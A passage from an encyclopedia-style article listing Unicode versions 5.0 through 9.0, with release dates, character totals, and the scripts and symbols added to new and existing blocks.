* The per sign and a double-struck letter Pi (total 2 characters) were added to '''Letterlike Symbols'''.
* Metrical and electrical signs (total 11 characters) were added to '''Miscellaneous Technical'''.
* Additional gender and map symbols (total 30 characters) were added to '''Miscellaneous Symbols'''.
* Some additional mathematical symbols (total 7 characters) were added to '''Miscellaneous Mathematical Symbols-A'''.
* Additional arrows and squares (total 6 characters) were added to '''Miscellaneous Symbols and Arrows'''.
* A circled Hangul character (㉾) (total 1 character) was added to '''Enclosed CJK Letters and Months'''.
* Additional Han Ideographs (total 22 characters) were added to '''CJK Unified Ideographs'''.
* Additional Compatibility Ideographs (total 106 characters) were added to '''CJK Compatibility Ideographs'''.
* Italic dotless small i and j (total 2 characters) were added to '''Mathematical Alphanumeric Symbols'''.

== Unicode 5.0 ==

Unicode 5.0 was released July 14, 2006. It encoded 99,024 characters, adding 1,369 new characters.

=== New blocks ===

* '''N'Ko''', containing 59 characters for the N'Ko script, was added.
* '''Balinese''', containing 121 characters and musical signs for the Balinese abugida, was added.
* '''Latin Extended-C''', containing 17 letters for various languages, was added.
* '''Latin Extended-D''', containing 2 characters for UPA, was added.
* '''Phags-pa''', containing 56 characters for the Phags-pa script, was added.
* '''Phoenician''', containing 27 letters and numerals for the Phoenician script, was added.
* '''Cuneiform''', containing 879 signs for Sumero-Akkadian Cuneiform, was added.
* '''Cuneiform Numbers and Punctuation''', containing 103 numerals and punctuation signs for Sumero-Akkadian Cuneiform, was added.
* '''Counting Rod Numerals''', containing 18 numerals used with counting rods, was added.

=== Extended blocks ===

* Various letters used mainly for aboriginal languages (total 14 characters) were added to '''Latin Extended-B'''.
* Lowercase lunate sigma symbols (total 3 characters) were added to '''Greek and Coptic'''.
* Lowercase palochka and 3 letters used in Nivkh (total 7 characters) were added to '''Cyrillic'''.
* Two letters used in Khanty and other languages (total 4 characters) were added to '''Cyrillic Supplement'''.
* A specific point meant for Vav (total 1 character) was added to '''Hebrew'''.
* Four letters used in Sindhi (total 4 characters) were added to '''Devanagari'''.
* Four letters used in Sanskrit (total 4 characters) were added to '''Kannada'''.
* Additional IPA diacritics (total 9 characters) were added to '''Combining Diacritical Marks Supplement'''.
* Four combining arrows (total 4 characters) were added to '''Combining Diacritical Marks for Symbols'''.
* A danish symbol and a lowercase turned F (total 2 characters) were added to '''Letterlike Symbols'''.
* A lowercase reversed C (ↄ) (total 1 character) was added to '''Number Forms'''.
* Vertical parenthesis, geometric forms and electrical symbols (total 12 characters) were added to '''Miscellaneous Technical'''.
* A neuter symbol (⚲) (total 1 character) was added to '''Miscellaneous Symbols'''.
* Four additional mathematical symbols (total 4 characters) were added to '''Miscellaneous Mathematical Symbols-A'''.
* Additional squares, pentagons and hexagons (total 11 characters) were added to '''Miscellaneous Symbols and Arrows'''.
* Four additional tone letters used in Chinantec (total 4 characters) were added to '''Modifier Tone Letters'''.
* Bold Digamma (𝟊/'''Ϝ''') (total 2 characters) was added to '''Mathematical Alphanumeric Symbols'''.

== Unicode 5.1 ==

Unicode 5.1 was released April 4, 2008. It encoded 100,648 characters, adding 1,624 new characters.

=== New blocks ===

* '''Sundanese''', containing 55 letters for Sundanese script, was added.
* '''Lepcha''', containing 74 letters for Lepcha script, was added.
* '''Ol Chiki''', containing 48 letters for Ol Chiki script, was added.
* '''Cyrillic Extended-A''', containing 32 letters for combining Cyrillic letters, was added.
* '''Vai''', containing 300 letters for Vai script, was added.
* '''Cyrillic Extended-B''', containing 78 letters for additional Cyrillic characters, was added.
* '''Saurashtra''', containing 81 letters for Saurashtra script, was added.
* '''Kayah Li''', containing 48 letters for Kayah languages, was added.
*  '''Rejang''', containing 37 letters for Rejang script, was added.
* '''Cham''', containing 83 letters for Cham script, was added.
* '''Ancient Symbols''', containing 12 characters for weights and measures and other Ancient symbols, was added.
* '''Phaistos Disc''', containing 46 hieroglyphs for Phaistos, was added.
* '''Lycian''', containing 29 letters for Lycian script, was added.
* '''Carian''', containing 49 letters for Carian script, was added.
* '''Lydian''', containing 27 letters for Lydian script, was added.
* '''Mahjong Tiles''', containing 44 mahjong tiles, was added.
* '''Domino Tiles''', containing 100 domino tiles, was added.

=== Extended blocks ===

* Archaic letters and capital kai symbol (total 7 characters) were added to '''Greek and Coptic'''.
* Combining Pokrytie (total 1 character) was added to '''Cyrillic'''.
* Mordvin, Kurdish, Aleut and Chuvash letters (total 16 characters) were added to '''Cyrillic Supplement'''.
* Radix symbols, Letterlike, punctuation, Koranic annotation signs and additions for early Persian and Azerbaijani (total 15 characters) were added to '''Arabic'''.
* Additional letters in Torwali, Burushaski and early Persian (total 18 characters) were added to '''Arabic Supplement'''.
* High spacing dot and candra a (total 2 characters) were added to '''Devanagari'''.
* Udaat and yakash signs (total 2 characters) were added to '''Gurmukhi'''.
* Vocalic rr, l and ll (total 3 characters) were added to '''Oriya'''.
* Om symbol (ௐ) (total 1 character) was added to '''Tamil'''.
* Avagraha, additional phonetic letters, vocalic l and ll, fractional signs and tuumu (total 13 characters) were added to '''Telugu'''.
* Avagraha, vocalic rr, l and ll, Malayalam numerics and fractions and chillu letters (total 17 characters) were added to '''Malayalam'''.
* Letters for Balti and various symbols (total 6 characters) were added to '''Tibetan'''.
* Characters for various languages (total 78 characters) were added to '''Myanmar'''.
* Manchu Ali Gali lha (ᢪ) (total 1 character) was added to '''Mongolian'''.
* Miscellaneous combining marks (total 28 characters) were added to '''Combining Diacritical Marks Supplement'''.
* Medievalist latin letters and miscellaneous letters (total 10 characters) were added to '''Latin Extended Additional'''.
* Invisible plus (+) (total 1 character) was added to '''General Punctuation'''.
* Combining asterisk above ( ⃰)(total 1 character) was added to '''Combining Diacritical Marks for Symbols'''.
* Symbol for Samaritan Source (⅏) (total 1 character) was added to '''Letterlike Symbols'''.
* Archaic Roman Numerals (total 4 characters) were added to '''Number Forms'''.
* Outlined white star and other signs (total 15 characters) were added to '''Miscellaneous Symbols'''.
* Long division and additional mathematical brackets (total 5 characters) were added to '''Miscellaneous Mathematical Symbols-A'''.
* Miscellaneous signs (total 51 characters) were added to '''Miscellaneous Symbols and Arrows'''.
* Additional latin letters (total 12 characters) were added to '''Latin Extended-C'''.
* Additional punctuation (total 23 characters) were added to '''Supplemental Punctuation'''.
* Letter ih (ㄭ) (total 1 character) was added to '''Bopomofo'''.
* Other strokes (total 20 characters) were added to '''CJK Strokes'''.
* Miscellaneous additions (total 8 characters) were added to '''CJK Unified Ideographs'''.
* Africanist tone letters (total 5 characters) were added to '''Modifier Tone Letters'''.
* Miscellaneous letters and symbols (total 112 characters) were added to '''Latin Extended-D'''.
* Continuous macrons for Coptic (total 3 characters) were added to '''Combining Half Marks'''.
* Musical symbol multiple measure rest (𝄩) (total 1 character) was added to '''Musical Symbols'''.

== Unicode 5.2 ==

Unicode 5.2 was released in October 1, 2009. It encoded 107,296 characters, adding 6,648 new characters.

=== New blocks ===

* '''Samaritan''', containing 61 letters for Samaritan script, was added.
* '''Unified Canadian Aboriginal Syllabics Extended''', containing 70 syllables for various cree languages, was added.
* '''Tai Tham''', containing 127 letters for Tai Tham script, was added.
* '''Vedic Extensions''', containing 35 characters for tone marks and signs, was added.
* '''Lisu''', containing 48 letters for Lisu (Fraser) script, was added.
* '''Bamum''', containing 88 letters for Bamum script, was added.
* '''Common Indic Number Forms''', containing 10 fractions and marks, was added.
* '''Devanagari Extended''', containing 28 additional marks, was added.
* '''Hangul Jamo Extended-A''', containing 29 characters for additional old initial consonants in hangul jamo, was added.
* '''Javanese''', containing 91 letters for Javanese script, was added.
* '''Myanmar Extended-A''', containing 28 letters for Khamti Shan in Myanmar, was added.
* '''Tai Viet''', containing 72 letters for Tai Viet script, was added.
* '''Meetei Mayek''', containing 56 letters for Meetei Mayek script, was added.
* '''Hangul Jamo Extended-B''', containing 72 characters for additional old medieval vowels and final consonants in hangul jamo, was added.
* '''Imperial Aramaic''', containing 31 characters for Old Aramaic, was added.
* '''Old South Arabian''', containing 32 letters and numbers for South Arabian, was added.
* '''Avestan''', containing 61 characters for Avestan script, was added.
* '''Inscriptional Parthian''', containing 30 characters for Inscriptional Parthian script, was added.
* '''Inscriptional Pahlavi''', containing 27 characters for Inscriptional Pahlavi script, was added.
* '''Old Turkic''', containing 73 characters for Orkhon script, was added.
* '''Rumi Numeral Symbols''', containing 31 numeric characters used in Fez, Morocco, and elsewhere in North Africa and the Iberian peninsula, between the tenth and seventeenth centuries, was added.
* '''Kaithi''', containing 66 letters for Kaithi script, was added.
* '''Egyptian Hieroglyphs''', containing 1,071 hieroglyphs for Egyptian, was added.
* '''Enclosed Alphanumeric Supplement''', containing 63 additional circled, parenthesized and squared alphanumerics, was added.
* '''Enclosed Ideographic Supplement''', containing 44 squared and tortoised shell bracketed ideographs, was added.
* '''CJK Unified Ideographs Extension C''', containing 4,149 additional Chinese Ideographs, was added.

=== Extended blocks ===

* Abhaz letters (total 2 characters) were added to '''Cyrillic Supplement'''.
* Inverted Candrabinbu and additional signs and letters (total 5 characters) were added to '''Devanagari'''.
* Ganda Mark (৻) (total 1 character) was added to '''Bengali'''.
* Religious svasti signs (total 4 characters) were added to '''Tibetan'''.
* Extensions for Khamti Shan and Alton and Phake (total 4 characters) were added to '''Myanmar'''.
* Additional old initial consonants, medival vowels, and old final consonants (total 16 characters) were added to '''Hangul Jamo'''.
* Hyphen and additional syllables (total 10 characters) were added to '''Unified Canadian Aboriginal Syllabics'''.
* Letter Sua and Tham Digit One (total 3 characters) were added to '''New Tai Lue'''.
* Combing Almost Equal to Below ( ᷽) (total 1 character) was added to '''Combining Diacritical Marks Supplement'''.
* The Live Tournosis, Spesmillo and Tenge signs (total 3 characters) were added to '''Currency Symbols'''.
* Additional vulgar fractions from ARIB STD B24 (total 4 characters) were added to '''Number Forms'''.
* Decimal exponent symbol (⏨) from ARIB STD B24 (total 1 characters) was added to '''Miscellaneous Technical'''.
* A soccer ball and symbols from ARIB STD B24 (total 59 characters) were added to '''Miscellaneous Symbols'''.
* Heavy exclamation mark symbol (❗)  from ARIB STD B24 (total 1 character) was added to '''Dingbats'''.
* Traffic sign, dictionary and map symbols from ARIB STD B24 (total 5 characters) were added to '''Miscellaneous Symbols and Arrows'''.
* Capital letter turned alpha and additions for shona (total 3 characters) were added to '''Latin Extended-C'''.
* Cryptogrammic letters and combining marks (total 7 characters) were added to '''Coptic'''.
* Word separator middle dot used in Avestan (⸱) (total 1 character) was added to '''Supplemental Punctuation'''.
* Circled ideographs and numbers on black squares from ARIB STD B24 (total 12 characters) were added to '''Enclosed CJK Letters and Months'''.
* Miscellaneous additions (total 8 characters) were added to '''CJK Unified Ideographs'''.
* Miscellaneous additions for compatibility (total 3 characters) were added to '''CJK Compatibility Ideographs'''.
* Number two and three (total 2 characters) were added to '''Phoenician'''.

== Unicode 6.0 ==

Unicode 6.0 was released in October 11, 2010. It encoded 109,384 characters, adding 2,088 new characters.

=== New blocks ===

* '''Mandaic''', containing 29 letters for Mandaic script, was added.
* '''Batak''', containing 56 letters for Batak script, was added.
* '''Ethiopic Extended-A''', containing 32 letters for Gamo-Gofa-Dawro, Basketo and Gumuz Ethiophic syllables, was added.
* '''Brahmi''', containing 108 characters for ancient Brahmi abugida, was added.
* '''Bamum Supplement''', containing 761 letters for additional Bamum script, was added.
* '''Kana Supplement''', containing 2 characters for archaic katakana, was added.
* '''Playing Cards''', containing 59 playing cards, was added.
* '''Miscellaneous Symbols and Pictographs''', containing 529 additional symbols, was added.
* '''Emoticons''', containing 63 faces, cat faces and gesture symbols, was added.
* '''Transport and Map Symbols''', containing 70 transportation, traffic signs and other symbols, was added.
* '''Alchemical Symbols''', containing 116 symbols for elements, was added.
* '''CJK Unified Ideographs Extension D''', containing 222 miscellaneous Han ideographs, was added.

=== Extended blocks ===

* Azerbaijani letters (total 2 characters) were added to '''Cyrillic Supplement'''.
* Kashmiri Yeh and Wavy hamza below (total 2 characters) were added to '''Arabic'''.
* Dependent vowel signs and letters used in Kashmiri and Bihari (total 10 characters) were added to '''Devanagari'''.
* Fraction signs (total 6 characters) were added to '''Oriya'''.
* Letters used in scholarly only and letter dot reph (total 3 characters) were added to '''Malayalam'''.
* Leading and Trailing Mchan Rtags (total 6 characters) were added to '''Tibetan'''.
* Additional combining marks (total 2 characters) were added to '''Ethiopic'''.
* Combining Double Inverted Breve Below (᷼) (total 1 character) was added to '''Combining Diacritical Marks Supplement'''.
* Miscellaneous subscript letters (total 8 characters) were added to '''Superscripts and Subscripts'''.
* Indian Rupee Sign (₹) (total 1 character) was added to '''Currency Symbols'''.
* Pointing double triangle and additional mechanical symbols (total 11 characters) were added to '''Miscellaneous Technical'''.
* Ophiucisus, astronomical symbol for uranus and pentagrams (total 6 characters) were added to '''Miscellaneous Symbols'''.
* Additional heavy punctation marks, raised fist, raised hand, sparkles, heavy arithmetic symbols and curly loops (total 16 characters) were added to '''Dingbats'''.
* Squared logicals (total 2 characters) were added to '''Miscellaneous Mathematical Symbols-A'''.
* Separator mark and consonant joiner (total 2 characters) were added to '''Tifinagh'''.
* Bopomofo for Hmu and Ge (total 3 characters) were added to '''Bopomofo Extended'''.
* Reversed Tse (total 2 characters) were added to '''Cyrillic Extended-B'''.
* Additional letters (total 15 characters) were added to '''Latin Extended-D'''.
* Pedagogical symbols (total 16 characters) were added to '''Arabic Presentation Forms-A'''.
* Additional squared, black circled and squared letters and regional indicator letters (total 107 characters) were added to '''Enclosed Alphanumeric Supplement'''.
* Squared katakana, squared ideographs and circled advantage and accept (total 13 characters) were added to '''Enclosed Ideographic Supplement'''.

== Unicode 6.1 ==

Unicode 6.1 was released in January 31, 2012. It encoded 110,116 characters, adding 732 new characters.

=== New blocks ===

* '''Arabic Extended-A''' (U+08A0-U+08FF), containing 39 characters, was added.
* '''Sundanese Supplement''' (U+1CC0-U+1CCF), containing 8 characters, was added.
* '''Meetei Mayek Extensions''' (U+AAE0-U+AAFF), containing 23 characters, was added.
* '''Meroitic Hieroglyphs''' (U+10980-U+1099F), containing 32 characters, was added.
* '''Meroitic Cursive''' (U+109A0-U+109FF), containing 26 characters, was added.
* '''Sora Sompeng''' (U+110D0-U+110FF), containing 35 characters, was added.
* '''Chakma''' (U+11100-U+1114F), containing 67 characters, was added.
* '''Sharada''' (U+11180-U+111DF), containing 83 characters, was added.
* '''Takri''' (U+11680-U+116CF), containing 66 characters, was added.
* '''Miao''' (U+16F00-U+16F9F), containing 133 characters, was added.
* '''Arabic Mathematical Alphabetic Symbols''' (U+1EE00-U+1EEFF), containing 143 characters, was added.

=== Extended blocks ===

* An Armenian Dram sign (total 1 character) was added to '''Armenian'''. (U+058F)
* A sign Samvat (total 1 character) was added to '''Arabic'''. (U+0604)
* An Abbreviation mark (total 1 character) was added to '''Gujarati'''. (U+0AF0)
* Letters for Khmu (total 2 characters) were added to '''Lao'''. (U+0EDE-U+0EDF)
* Capital letter Yn, letter Aen, Hard and Labial sign (total 5 characters) were added to '''Georgian'''. (U+10C7, U+10CD and U+10FD-U+10FF)
* Letters and signs for Old Sundanese (total 9 characters) were added to '''Sundanese'''. (U+1BAB-U+1BAD and U+1BBA-U+1BBF)
* Sign Rotated Ardhavisarga, Candra Above, Jihvamuliya and Uphadhmaniya (total 4 characters) were added to '''Vedic Extensions'''. (U+1CF3-U+1CF6)
* Mathematical diagonals (total 2 characters) were added to '''Miscellaneous Mathematical Symbols-A'''. (U+27CB and U+27CD)
* A letter Bohairic Khei (total 2 characters) were added to '''Coptic'''. (U+2CF2-U+2CF3)
* Small letters Yn and Aen (total 2 characters) were added to '''Georgian Supplement'''. (U+2D27 and U+2D2D)
* Letters Ye and Yo (total 2 characters) were added to '''Tifinagh'''. (U+2D66-U+2D67)
* (total 10 characters) were added to '''Supplemental Punctuation'''. (U+2E32-U+2E3B)
* An additional ideograph for Kanji (total 1 character) was added to '''CJK Unified Ideographs'''. (U+9FCC)
* Combining letter for Slavonic (total 9 characters) were added to '''Cyrillic Extended-B'''. (U+A674-U+A67B and U+A69F)
* Letter C with Bar, capital letter H with Hook and modifier letters for extended IPA (total 5 characters) were added to '''Latin Extended-D'''. (U+A792-U+A793, U+A7AA and U+A7F8-U+A7F9)
* Some additional ideographs for Korea (total 2 characters) were added to '''CJK Compatibility Ideographs'''. (U+FA2E-U+FA2F)
* Symbols for Canadian legal use (total 2 characters) were added to '''Enclosed Alphanumeric Supplement'''. (U+1F16A-U+1F16B)
* Typikon symbols (total 4 characters) were added to '''Miscellaneous Symbols and Pictographs'''. (U+1F540-U+1F543)
* (total 13 characters) were added to '''Emoticons'''. (U+1F600, U+1F611, U+1F615, U+1F617, U+1F619, U+1F61B, U+1F61F, U+1F626-U+1F627, U+1F62C, U+1F62E-U+1F62F and U+1F634)

== Unicode 6.2 ==

Unicode 6.2 was released in September 26, 2012. It encoded 110,117 characters, adding only 1 new character.

=== Extended blocks ===

* A Turkish Lira sign (total 1 character) was added to '''Currency Symbols'''. (U+20BA)

== Unicode 6.3 ==

Unicode 6.3 was released in September 30, 2013. It encoded 110,122 characters, adding only 5 new characters.

=== Extended blocks ===

* A Letter mark (total 1 character) was added to '''Arabic'''. (U+061C)
* Isolate directional format characters (total 4 characters) were added to '''General Punctuation'''. (U+2066-U+2069)

== Unicode 7.0 ==

Unicode 7.0 was released in June 16, 2014. It encoded 112,956 characters, adding 2,834 new characters.

=== New blocks ===

* '''Combining Diacritical Marks Extended''' (U+1AB0-U+1AFF), containing 15 marks, was added.
* '''Myanmar Extended-B''' (U+A9E0-U+A9FF), containing 31 letters, was added.
* '''Latin Extended-E''' (U+AB30-U+AB6F), containing 50 letters, was added.
* '''Coptic Epact Numbers''' (U+102E0-U+102FF), containing 28 numbers, was added.
* '''Old Permic''' (U+10350-U+1037F), containing 43 letters, was added.
* '''Elbasan''' (U+10500-U+1052F), containing 50 letters, was added.
* '''Caucasian Albanian''' (U+10530-U+1056F), containing 53 letters and marks, was added.
* '''Linear A''' (U+10600-U+1077F), containing 341 signs, was added.
* '''Palmyrene''' (U+10860-U+1087F), containing 32 letters, was added.
* '''Nabataean''' (U+10880-U+108AF), containing 40 letters and numbers, was added.
* '''Old North Arabian''' (U+10A80-U+10A9F), containing 32 letters and numbers, was added.
* '''Manichaean''' (U+10AC0-U+10AFF), containing 51 characters, was added.
* '''Psalter Pahlavi''' (U+10B80-U+10BAF), containing 29 characters, was added.
* '''Mahajani''' (U+11150-U+1117F), containing 39 letters and signs, was added.
* '''Sinhala Archaic Numbers''' (U+111E0-U+111FF), containing 20 numbers, was added.
* '''Khojki''' (U+11200-U+1124F), containing 61 characters, was added.
* '''Khudawadi''' (U+112B0-U+112FF), containing 69 characters, was added.
* '''Grantha''' (U+11300-U+1137F), containing 83 characters, was added.
* '''Tirhuta''' (U+11480-U+114DF), containing 82 characters, was added.
* '''Siddham''' (U+11580-U+115FF), containing 72 characters, was added.
* '''Modi''' (U+11600-U+1165F), containing 79 characters, was added.
* '''Warang Citi''' (U+118A0-U+118FF), containing 84 letters and numbers, was added.
* '''Pau Cin Hau''' (U+11AC0-U+11AFF), containing 57 characters, was added.
* '''Mro''' (U+16A40-U+16A6F), containing 43 characters, was added.
* '''Bassa Vah''' (U+16AD0-U+16AFF), containing 36 characters, was added.
* '''Pahawh Hmong''' (U+16B00-U+16B8F), containing 127 letters and signs, was added.
* '''Duployan''' (U+1BC00-U+1BC9F), containing 143 characters, was added.
* '''Shorthand Format Controls''' (U+1BCA0-U+1BCAF), containing 4 format characters, was added.
* '''Mende Kikakui''' (U+1E800-U+1E8DF), containing 213 syllables and numbers, was added.
* '''Ornamental Dingbats''' (U+1F650-U+1F67F), containing 48 pictographic characters, was added.
* '''Geometric Shapes Extended''' (U+1F780-U+1F7FF), containing 85 pictographic characters, was added.
* '''Supplemental Arrows-C''' (U+1F800-U+1F8FF), containing 148 pictographic characters, was added.

=== Extended blocks ===

* A capital letter Yot (total 1 character) was added to '''Greek and Coptic'''. (U+037F)
* Letters for Orok, Komi and Khanty (total 8 characters) were added to '''Cyrillic Supplement'''. (U+0528-U+052F)
* An Eternity sign (total 2 characters) were added to '''Armenian'''. (U+058D-U+058E)
* A Number Mark Above (total 1 character) was added to '''Arabic'''. (U+0605)
* Letters for African, Philippine, Turkic, Berber, Belarusian, Palula and Shina languages (total 8 characters) were added to '''Arabic Extended-A'''. (U+08A1, U+08AD-U+08B2 and U+08FF)
* A letter for Marwari (total 1 character) was added to '''Devanagari'''. (U+0978)
* A sign Anji (total 1 character) was added to '''Bengali'''. (U+0980)
* Sign Candrabindu and letter Llla (total 2 characters) were added to '''Telugu'''. (U+0C00 and U+0C34)
* A Sign Candrabindu (total 1 character) was added to '''Kannada'''. (U+0C81)
* A Sign Candrabindu (total 1 character) was added to '''Malayalam'''. (U+0D01)
* Lith Numerals (total 10 characters) were added to '''Sinhala'''. (U+0DE6-U+0DEF)
* Additional Old English runes (total 8 characters) were added to '''Runic'''. (U+16F1-U+16F8)
* Letters Gyan and Tra (total 2 characters) were added to '''Limbu'''. (U+191D-U+191E)
* Signs for Jaiminiya Sama Veda (total 2 characters) were added to '''Vedic Extensions'''. (U+1CF8-U+1CF9)
* Marks for Germanic and American lexicology (total 15 characters) were added to '''Combining Diacritical Marks Supplement'''. (U+1DE7-U+1DF5)
* Nordic Mark, Manat and Ruble sign (total 3 characters) were added to '''Currency Symbols'''. (U+20BB-U+20BD)
* Playback symbols from Webdings font (total 7 characters) were added to '''Miscellaneous Technical'''. (U+23F4-U+23FA)
* A Scissors symbol from Wingdings 2 font (total 1 character) was added to '''Dingbats'''. (U+2700)
* Arrows for Lithuanian dialectology and symbols from Wingdings 3 font (total 115 characters) were added to '''Miscellaneous Symbols and Arrows'''. (U+2B4D-U+2B4F, U+2B5A-U+2B5F, U+2B60-U+2B73, U+2B76-U+2B95, U+2B98-U+2BB9, U+2BBD-U+2BC8 and U+2BCA-U+2BD1)
* (total 7 characters) were added to '''Supplemental Punctuation'''. (U+2E3C-U+2E42)
* Early Cyrillic letters and letters for Lithuanian dialectology (total 6 characters) were added to '''Cyrillic Extended-B'''. (U+A698-U+A69D)
* Letters for European, American and African orthography (total 18 characters) were  added to '''Latin Extended-D'''. (U+A794-U+A79F, U+A7AB-U+A7AD, U+A7B0-U+A7B1 and U+A7F7)
* Tone marks for Tai Laing and letters for Shwe Palaung (total 4 characters) were added to '''Myanmar Extended-A'''. (U+AA7C-U+AA7F)
* Combining phonetic marks (total 7 characters) were added to '''Combining Half Marks'''. (U+FE27-U+FE2D)
* Additional mathematical symbols (total 2 characters) were added to '''Ancient Greek Numbers'''. (U+1018B-U+1018C)
* A Greek Tau Rho symbol (total 1 character) was added to '''Ancient Symbols'''. (U+101A0)
* A letter Ess (total 1 character) was added to '''Old Italic'''. (U+1031F)
* A Number Joiner (total 1 character) was added to '''Brahmi'''. (U+1107F)
* Sutra mark and sign Ekam (total 2 characters) were added to '''Sharada'''. (U+111CD and U+111DA)
* Additional cuneiform signs (total 42 characters) were added to '''Cuneiform'''. (U+1236F-U+12398)
* Additional numbers, vulgar fractions and a punctuation mark (total 13 characters) were added to '''Cuneiform Numbers and Punctuation'''. (U+12463-U+1246E and U+12474)
* Red Joker, Fool and trumps (total 23 characters) were added to '''Playing Cards'''. (U+1F0BF and U+1F0E0-U+1F0F5)
* Dingbat normal and negative sans-serif digit zero (total 2 characters) were added to '''Enclosed Alphanumeric Supplement'''. (U+1F10B-U+1F10C)
* Symbols from Webdings, Wingdings 1 and 2 font (total 209 characters) were added to '''Miscellaneous Symbols and Pictographs'''. (U+1F321-U+1F32C, U+1F336, U+1F37D, U+1F394-U+1F39F, U+1F3C5, U+1F3CB-U+1F3CE, U+1F3D4-U+1F3DF, U+1F3F1-U+1F3F7, U+1F43F, U+1F441, U+1F4F8, U+1F4FD-U+1F4FE, U+1F53E-U+1F53F, U+1F544-U+1F54A, U+1F568-U+1F579, U+1F57B-U+1F5A3 and U+1F5A5-U+1F5FA)
* Slightly frowning and smiling faces emoji (total 2 characters) were added to '''Emoticons'''. (U+1F641-U+1F642)
* Symbols from Webdings and Wingdings 2 font (total 27 characters) were added to '''Transport and Map Symbols'''. (U+1F6C6-U+1F6CF, U+1F6E0-U+1F6EC and U+1F6F0-U+1F6F3)

== Unicode 8.0 ==

Unicode 8.0 was released in June 17, 2015. It encoded 120,672 characters, adding 7,716 new characters.

=== New blocks ===

* '''Cherokee Supplement''' (U+AB70-U+ABBF), containing 80 lowercase letters, was added.
* '''Hatran''' (U+108E0-U+108FF), containing 26 letters, was added.
* '''Old Hungarian''' (U+10C80-U+10CFF), containing 108 letters, was added.
* '''Multani''' (U+11280-U+112AF), containing 38 letters, was added.
* '''Ahom''' (U+11700-U+1173F), containing 57 letters, was added.
* '''Early Dynastic Cuneiform''' (U+12480-U+1254F), containing 196 characters, was added.
* '''Anatolian Hieroglyphs''' (U+14400-U+1467F), containing 583 characters, was added.
* '''Sutton SignWriting''' (U+1D800-U+1DAAF), containing 672 signs, was added.
* '''Supplemental Symbols and Pictographs''' (U+1F900-U+1F9FF), containing 15 pictographic characters, was added.
* '''CJK Unified Ideographs Extension E''' (U+2B820-U+2CEAF), containing 5762 characters, was added.

=== Extended blocks ===

* Letters for Arwi (total 3 characters) were added to '''Arabic Extended-A'''. (U+08B3-U+08B4 and U+08E3)
* A letter for Avestan transliteration (total 1 character) was added to '''Gujarati'''. (U+0AF9)
* A letter for Andhra Pradesh (total 1 character) was added to '''Telugu'''. (U+0C5A)
* An archaic letter II (total 1 character) was added to '''Malayalam'''. (U+0D5F)
* A letter Mv and small letters (total 7 characters) were added to '''Cherokee'''. (U+13F5 and U+13F8-U+13FD)
* A Georgian Lari sign (total 1 character) was added to '''Currency Symbols'''. (U+20BE)
* Turned digits (total 2 characters) were added to '''Number Forms'''. (U+218A-U+218B)
* Two headed arrows with triangle arrowheads (total 4 characters) were added to '''Miscellaneous Symbols and Arrows'''. (U+2BEC-U+2BEF)
* Some additional ideographs (total 9 characters) were added to '''CJK Unified Ideographs'''. (U+9FCD-U+9FD5)
* A combining letter Ef (total 1 character) was added to '''Cyrillic Extended-B'''. (U+A69E)
* Sinological dot, phonetic extension for African languages, letters for American and Gabonese orthography (total 7 characters) were added to '''Latin Extended-D'''. (U+A78F and U+A7B2-U+A7B7)
* Sign Siddham and letter Jain Om (total 2 characters) were added to '''Devanagari Extended'''. (U+A8FC-U+A8FD)
* Letters for Yakut transliteration (total 4 characters) were added to '''Latin Extended-E'''. (U+AB60-U+AB63)
* A combining mark for Church Slavonic (total 2 characters) were added to '''Combining Half Marks'''. (U+FE2E-U+FE2F)
* Numerals and vulgar fractions (total 64 characters) were added to '''Meroitic Cursive'''. (U+109BC-U+109BD, U+109C0-U+109CF and U+109D2-U+109FF)
* Sandhi mark, diacritical marks for Kashmiri, sign Siddham and punctuation marks (total 9 characters) were added to '''Sharada'''. (U+111C9-U+111CC and U+111DB-U+111DF)
* Combining Anusvara Above and letter Om (total 2 characters) were added to '''Grantha'''. (U+11300 and U+11350)
* Section marks and alternate letters (total 20 characters) were added to '''Siddham'''. (U+115CA-U+115DD)
* An additional sign (total 1 character) was added to '''Cuneiform'''. (U+12399)
* East-Slavic musical symbols (total 11 characters) were added to '''Musical Symbols'''. (U+1D1DE-U+1D1E8)
* (total 24 characters) were added to '''Miscellaneous Symbols and Pictographs'''. (U+1F32D-U+1F32F, U+1F37E-U+1F37F, U+1F3CF-U+1F3D3, U+1F3F8-U+1F3FF, U+1F4FF and U+1F54B-U+1F54F)
* Upside Down Face and Face With Rolling Eyes emoji (total 2 characters) were added to '''Emoticons'''. (U+1F643-U+1F644)
* A Place of Worship emoji (total 1 character) was added to '''Transport and Map Symbols'''. (U+1F6D0)

== Unicode 9.0 ==

Unicode 9.0, was released in June 21, 2016. It encoded 128,172 characters, adding 7,500 new characters.

=== New blocks ===

* '''Cyrillic Extended-C''' (U+1C80-U+1C8F), containing 9 letters, was added.
* '''Osage''' (U+104B0-U+104FF), containing 72 letters, was added.
* '''Newa''' (U+11400-U+1147F), containing 92 letters, was added.
* '''Mongolian Supplement''' (U+11660-U+1167F), containing 13 letters, was added.
* '''Bhaiksuki''' (U+11C00-U+11C6F), containing 97 letters, was added.
* '''Marchen''' (U+11C70-U+11CBF), containing 68 letters, was added.
* '''Ideographic Symbols and Punctuation''' (U+16FE0-U+16FFF), containing 1 letter, was added.
* '''Tangut''' (U+17000-U+187FF), containing 6125 letters, was added.
* '''Tangut Components''' (U+18800-U+18AFF), containing 755 letters, was added.
* '''Glagolitic Supplement''' (U+1E000-U+1E02F), containing 38 letters, was added.
* '''Adlam''' (U+1E900-U+1E95F), containing 87 letters, was added.

=== Extended blocks ===

* Letters for Bravanese, Warsh and Quranic marks used in Pakistan (total 23 characters) were added to '''Arabic Extended-A'''. (U+08B6-U+08BD and U+08D4-U+08E2)
* A sign Spacing Candrabindu (total 1 character) were added to '''Kannada'''. (U+0C80)
* Sign Para, Chillu letters and vulgar fractions (total 14 characters) were added to '''Malayalam'''. (U+0D4F, U+0D54-U+0D56, U+0D58-U+0D5E and U+0D76-U+0D78)
* A diacritical mark for Newa (total 1 character) was added to '''Combining Diacritical Marks Supplement'''. (U+1DFB)
* Power symbols (total 4 characters) were added to '''Miscellaneous Technical'''. (U+23FB-U+23FE)
* Punctuation marks for Church Slavonic (total 2 characters) were added to '''Supplemental Punctuation'''. (U+2E43-U+2E44)
* A letter for Unifon (total 1 character) was added to '''Latin Extended-D'''. (U+A7AE)
* A sign Candrabindu (total 1 character) was added to '''Saurashtra'''. (U+A8C5)
* Indiction sign and a currency symbol (total 2 characters) were added to '''Ancient Greek Numbers'''. (U+1018D-U+1018E)
* A sign Sukun (total 1 character) was added to '''Khojki'''. (U+1123E)
